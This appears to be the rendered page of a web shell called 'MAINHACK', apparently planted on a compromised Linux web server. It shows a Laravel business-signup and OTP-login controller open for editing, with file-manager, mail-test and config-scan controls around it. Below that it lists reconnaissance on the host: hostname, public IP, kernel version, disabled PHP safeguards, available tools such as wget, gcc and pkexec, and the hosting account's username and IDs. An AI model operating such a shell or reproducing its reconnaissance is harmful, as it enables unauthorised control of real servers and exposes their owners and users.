[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AcnooBusinessController.php
<?php namespace App\Http\Controllers; use App\Models\User; use App\Models\Business; use Illuminate\Http\Request; use App\Models\BusinessCategory; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; class AcnooBusinessController extends Controller { public function index() { $categories = BusinessCategory::select('id','name')->whereStatus(1)->get(); return response()->json($categories); } public function getBusinessCategories() { $categories = BusinessCategory::select('id','name')->whereStatus(1)->get(); return response()->json($categories); } public function store(Request $request) { $validate_data = $request->validate([ 'companyName' => 'required|max:250', 'business_category_id' => 'required|exists:business_categories,id', 'plan_id' => 'required|exists:plans,id', 'address' => 'nullable|max:250', 'password' => 'required|min:6|max:100', 'email' => 'required|email|unique:users,email', ]); $business = Business::create($validate_data); Session::put('plan_id', $request->plan_id); return response()->json([ 'message' => 'Business created successfully.', 'redirect' => route('payments-gateways.index', ['plan_id' => $request->plan_id, 'business_id' => $business->id]), ]); } public function verifyCode(Request $request) { $request->validate([ 'email' => 'required|email', 'otp' => 'required|min:4|max:15', ]); $user = User::where('email', $request->email)->first(); if (!$user) { return response()->json([ 'status' => 404, 'message' => __('User not found'), ], 404); } if ($user->remember_token == $request->otp) { if ($user->email_verified_at > now()) { Auth::login($user); $is_setup = $user->business_id ? true : false; $token = $user->createToken('createToken')->plainTextToken; $accessToken = $user->createToken('createToken'); $this->setAccessTokenExpiration($accessToken); $user->update([ 'remember_token' => NULL, 'email_verified_at' => now(), ]); return response()->json([ 'message' => 'Logged In successfully!', 'is_setup' => $is_setup, 'token' => $token, ]); } else { return response()->json([ 'error' => __('The verification otp has been expired.') ], 400); } } else { return response()->json([ 'error' => __('Invalid otp.') ], 404); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002